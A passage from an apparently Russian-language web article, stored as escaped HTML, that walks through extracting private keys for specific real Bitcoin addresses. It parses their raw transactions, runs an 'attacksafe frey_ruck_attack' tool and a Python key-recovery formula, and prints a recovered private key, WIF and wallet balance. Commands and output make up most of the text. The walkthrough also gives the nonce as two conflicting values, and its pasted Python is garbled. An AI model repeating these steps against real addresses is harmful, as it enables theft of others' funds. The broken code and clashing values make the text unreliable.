N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/155\/415\/fa0\/155415fa07990424ad33f40c93447d5d.png\" alt=\"\" title=\"\" width=\"737\" height=\"282\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/155\/415\/fa0\/155415fa07990424ad33f40c93447d5d.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code>ADDR: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q WIF:  KyoSFYtgbsWxtfFZmMfbkwFTXhqfGgxztVgmuN1dFrPqs3nFCqcr HEX:  4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/999\/ed4\/12c\/999ed412ce7d4070d9376683554ae14c.png\" alt=\"\" title=\"\" width=\"830\" height=\"830\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/999\/ed4\/12c\/999ed412ce7d4070d9376683554ae14c.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/btc\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/u><\/strong><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c03\/da2\/bb8\/c03da2bb8ff1ddef34cd9079372661e6.png\" alt=\"\" title=\"\" width=\"1024\" height=\"450\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c03\/da2\/bb8\/c03da2bb8ff1ddef34cd9079372661e6.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>BALANCE: $ 706.27<\/code><\/p>\n<hr\/>\n<blockquote>\n<p><em>\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u043e\u0442\u0435\u0440\u0438 \u043c\u043e\u043d\u0435\u0442 BTC \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0432\u0441\u0435\u043c \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u041f\u041e \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.<\/em><\/p>\n<\/blockquote>\n<hr\/>\n<p>\u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0432<code>\u00a0TXID:<\/code>\u00a0<a href=\"https:\/\/btc.exan.tech\/tx\/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af\" rel=\"noopener noreferrer nofollow\"><strong><u>4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af<\/u><\/strong><\/a>\u00a0\u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0436\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430<\/p>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q\" rel=\"noopener noreferrer nofollow\"><strong><u>12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9c2\/30b\/6d7\/9c230b6d7a747a13f808e086f5ad9ea6.png\" alt=\"\" title=\"\" width=\"1024\" height=\"94\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9c2\/30b\/6d7\/9c230b6d7a747a13f808e086f5ad9ea6.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000 <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4b3\/10d\/cd3\/4b310dcd3b6987703888dcdb00d84403.png\" alt=\"\" title=\"\" width=\"1024\" height=\"253\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4b3\/10d\/cd3\/4b310dcd3b6987703888dcdb00d84403.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe<\/code><\/pre>\n<hr\/>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code>.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/1df\/b9b\/981\/1dfb9b9816f5346db1dcb9eecc5ea848.png\" alt=\"\" title=\"\" width=\"1024\" height=\"307\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/1df\/b9b\/981\/1dfb9b9816f5346db1dcb9eecc5ea848.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d35\/397\/3af\/d353973af3750dedf4f812f6db4062f5.png\" alt=\"\" title=\"\" width=\"1024\" height=\"459\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d35\/397\/3af\/d353973af3750dedf4f812f6db4062f5.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd RawTX = 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5e8\/8ba\/b11\/5e88bab1101f8479ff1e1621eb448282.png\" alt=\"\" title=\"\" width=\"1024\" height=\"89\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/5e8\/8ba\/b11\/5e88bab1101f8479ff1e1621eb448282.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>(0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 , 0xbd48d7b4dc1d36c3e4e18ea398ce153f3ebf6ddf7824d0d0132e5dad85c3c69d)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 point2gen  =   (0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 , 0xbd48d7b4dc1d36c3e4e18ea398ce153f3ebf6ddf7824d0d0132e5dad85c3c69d) <\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code>def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/569\/b94\/ae5\/569b94ae5eaad506d58b30b651235ac0.png\" alt=\"\" title=\"\" width=\"752\" height=\"281\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/569\/b94\/ae5\/569b94ae5eaad506d58b30b651235ac0.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code>ADDR: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q WIF:  KyoSFYtgbsWxtfFZmMfbkwFTXhqfGgxztVgmuN1dFrPqs3nFCqcr HEX:  4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d3e\/c3d\/9fa\/d3ec3d9faabeac70858b2b366470f445.png\" alt=\"\" title=\"\" width=\"830\" height=\"830\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d3e\/c3d\/9fa\/d3ec3d9faabeac70858b2b366470f445.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/btc\/address\/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q<\/u><\/strong><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/345\/7d7\/404\/3457d740494ad7933253fedb3a6e2568.png\" alt=\"\" title=\"\" width=\"1024\" height=\"450\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/345\/7d7\/404\/3457d740494ad7933253fedb3a6e2568.png\"\/><figcaption><\/figcaption><\/figure>\n<p><code>BALANCE: $ 706.27<\/code><\/p>\n<hr\/>\n<p><code>\u21165<\/code><\/p>\n<p>\u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0432 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0435:<\/p>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" rel=\"noopener noreferrer nofollow\"><strong><u>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db<\/u><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/97f\/820\/c1c\/97f820c1c952334e0cadf5689e3f725d.png\" alt=\"\" title=\"\" width=\"1009\" height=\"176\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/97f\/820\/c1c\/97f820c1c952334e0cadf5689e3f725d.png\"\/><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/50d\/e0c\/caf\/50de0ccaf42117d5b239c058e28858cd.png\" alt=\"\" title=\"\" width=\"1009\" height=\"173\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/50d\/e0c\/caf\/50de0ccaf42117d5b239c058e28858cd.png\"\/><figcaption><\/figcaption><\/figure>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac\" rel=\"noopener noreferrer nofollow\"><strong><u>19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/328\/d00\/dff\/328d00dff4f178abc5162f70b81268ee.png\" alt=\"\" title=\"\" width=\"1024\" height=\"94\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/328\/d00\/dff\/328d00dff4f178abc5162f70b81268ee.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000 <\/code><\/pre>\n<h3>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 R, S, Z \u0438\u0437 \u0432\u0441\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000 <\/code><\/pre>\n<figure 